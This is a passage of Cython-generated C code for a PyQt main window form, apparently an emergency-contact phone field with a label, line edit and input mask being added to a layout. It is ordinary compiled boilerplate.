__Pyx_DECREF_SET(__pyx_t_6, function); } } if (!__pyx_t_7) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_4); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 241, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_7, __pyx_t_4}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 241, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_7, __pyx_t_4}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 241, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_1 = PyTuple_New(1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 241, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_7); __pyx_t_7 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_1, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_1, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 241, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } } __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":242 * self.R_telephone.setObjectName("R_telephone") * self.horizontalLayout_3.addWidget(self.R_telephone) * self.label_17 = QtWidgets.QLabel(self.formLayoutWidget) # <<<<<<<<<<<<<< * self.label_17.setObjectName("label_17") * self.horizontalLayout_3.addWidget(self.label_17) */ __pyx_t_6 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 242, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_QLabel); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 242, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayoutWidget); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 242, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_1))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (!__pyx_t_4) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_6); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 242, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_6}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 242, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_6}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 242, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif { __pyx_t_7 = PyTuple_New(1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 242, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_7, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_7, 0+1, __pyx_t_6); __pyx_t_6 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_7, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 242, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_label_17, __pyx_t_3) < 0) __PYX_ERR(0, 242, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":243 * self.horizontalLayout_3.addWidget(self.R_telephone) * self.label_17 = QtWidgets.QLabel(self.formLayoutWidget) * self.label_17.setObjectName("label_17") # <<<<<<<<<<<<<< * self.horizontalLayout_3.addWidget(self.label_17) * self.R_Urgence = QtWidgets.QLineEdit(self.formLayoutWidget) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_17); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 243, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 243, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__144, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 243, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":244 * self.label_17 = QtWidgets.QLabel(self.formLayoutWidget) * self.label_17.setObjectName("label_17") * self.horizontalLayout_3.addWidget(self.label_17) # <<<<<<<<<<<<<< * self.R_Urgence = QtWidgets.QLineEdit(self.formLayoutWidget) * self.R_Urgence.setInputMethodHints(QtCore.Qt.ImhDialableCharactersOnly|QtCore.Qt.ImhFormattedNumbersOnly) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_horizontalLayout_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 244, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_addWidget); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 244, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_17); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 244, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_6 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_7))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_7); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_7, function); } } if (!__pyx_t_6) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_7, __pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 244, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_1}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_7, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 244, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_1}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_7, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 244, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 244, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_6); __pyx_t_6 = NULL; __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_1); __pyx_t_1 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_t_4, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 244, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":245 * self.label_17.setObjectName("label_17") * self.horizontalLayout_3.addWidget(self.label_17) * self.R_Urgence = QtWidgets.QLineEdit(self.formLayoutWidget) # <<<<<<<<<<<<<< * self.R_Urgence.setInputMethodHints(QtCore.Qt.ImhDialableCharactersOnly|QtCore.Qt.ImhFormattedNumbersOnly) * self.R_Urgence.setInputMask("+##/####/### ####") */ __pyx_t_7 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 245, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_QLineEdit); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 245, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayoutWidget); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 245, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_4))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_1) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_7); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 245, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_7}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 245, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_7}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 245, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } else #endif { __pyx_t_6 = PyTuple_New(1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 245, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_t_1); __pyx_t_1 = NULL; __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_6, 0+1, __pyx_t_7); __pyx_t_7 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_6, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 245, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_R_Urgence, __pyx_t_3) < 0) __PYX_ERR(0, 245, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":246 * self.horizontalLayout_3.addWidget(self.label_17) * self.R_Urgence = QtWidgets.QLineEdit(self.formLayoutWidget) * self.R_Urgence.setInputMethodHints(QtCore.Qt.ImhDialableCharactersOnly|QtCore.Qt.ImhFormattedNumbersOnly) # <<<<<<<<<<<<<< * self.R_Urgence.setInputMask("+##/####/### ####") * self.R_Urgence.setText("+// ") */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_Urgence); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 246, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_setInputMethodHints); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 246, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 246, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_Qt); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 246, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_ImhDialableCharactersOnly); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 246, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 246, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_Qt); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 246, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_ImhFormattedNumbersOnly); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 246, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = PyNumber_Or(__pyx_t_4, __pyx_t_7); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 246, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_7)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_7); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (!__pyx_t_7) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 246, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_7, __pyx_t_1}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 246, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_7, __pyx_t_1}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 246, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 246, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_7); __pyx_t_7 = NULL; __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_1); __pyx_t_1 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_4, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 246, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":247 * self.R_Urgence = QtWidgets.QLineEdit(self.formLayoutWidget) * self.R_Urgence.setInputMethodHints(QtCore.Qt.ImhDialableCharactersOnly|QtCore.Qt.ImhFormattedNumbersOnly) * self.R_Urgence.setInputMask("+##/####/### ####") # <<<<<<<<<<<<<< * self.R_Urgence.setText("+// ") * self.R_Urgence.setObjectName("R_Urgence") */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_Urgence); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 247, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setInputMask); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 247, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__146, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 247, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":248 * self.R_Urgence.setInputMethodHints(QtCore.Qt.ImhDialableCharactersOnly|QtCore.Qt.ImhFormattedNumbersOnly) * self.R_Urgence.setInputMask("+##/####/### ####") * self.R_Urgence.setText("+// ") # <<<<<<<<<<<<<< * self.R_Urgence.setObjectName("R_Urgence") * self.horizontalLayout_3.addWidget(self.R_Urgence) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_Urgence); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 248, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setText); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 248, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__147, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 248, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":249 * self.R_Urgence.setInputMask("+##/####/### ####") * self.R_Urgence.setText("+// ") * self.R_Urgence.setObjectName("R_Urgence") # <<<<<<<<<<<<<< * self.horizontalLayout_3.addWidget(self.R_Urgence) * self.formLayout.setLayout(14, QtWidgets.QFormLayout.FieldRole, self.horizontalLayout_3) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_Urgence); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 249, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 249, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__148, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 249, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":250 * self.R_Urgence.setText("+// ") * self.R_Urgence.setObjectName("R_Urgence") * self.horizontalLayout_3.addWidget(self.R_Urgence) # <<<<<<<<<<<<<< * self.formLayout.setLayout(14, QtWidgets.QFormLayout.FieldRole, self.horizontalLayout_3) * self.label_3 = QtWidgets.QLabel(self.formLayoutWidget) */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_horizontalLayout_3); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 250, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_addWidget); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 250, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_Urgence); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 250, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_1) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_6); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 250, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_6}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 250, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_6}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 250, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif { __pyx_t_7 = PyTuple_New(1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 250, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_7, 0, __pyx_t_1); __pyx_t_1 = NULL; __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_7, 0+1, __pyx_t_6); __pyx_t_6 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_7, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 250, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":251 * self.R_Urgence.setObjectName("R_Urgence") * self.horizontalLayout_3.addWidget(self.R_Urgence) * self.formLayout.setLayout(14, QtWidgets.QFormLayout.FieldRole, self.horizontalLayout_3) # <<<<<<<<<<<<<< * self.label_3 = QtWidgets.QLabel(self.formLayoutWidget) * self.label_3.setObjectName("label_3") */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayout); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 251, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_setLayout); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 251, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 251, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_QFormLayout); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 251, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_FieldRole); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 251, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); 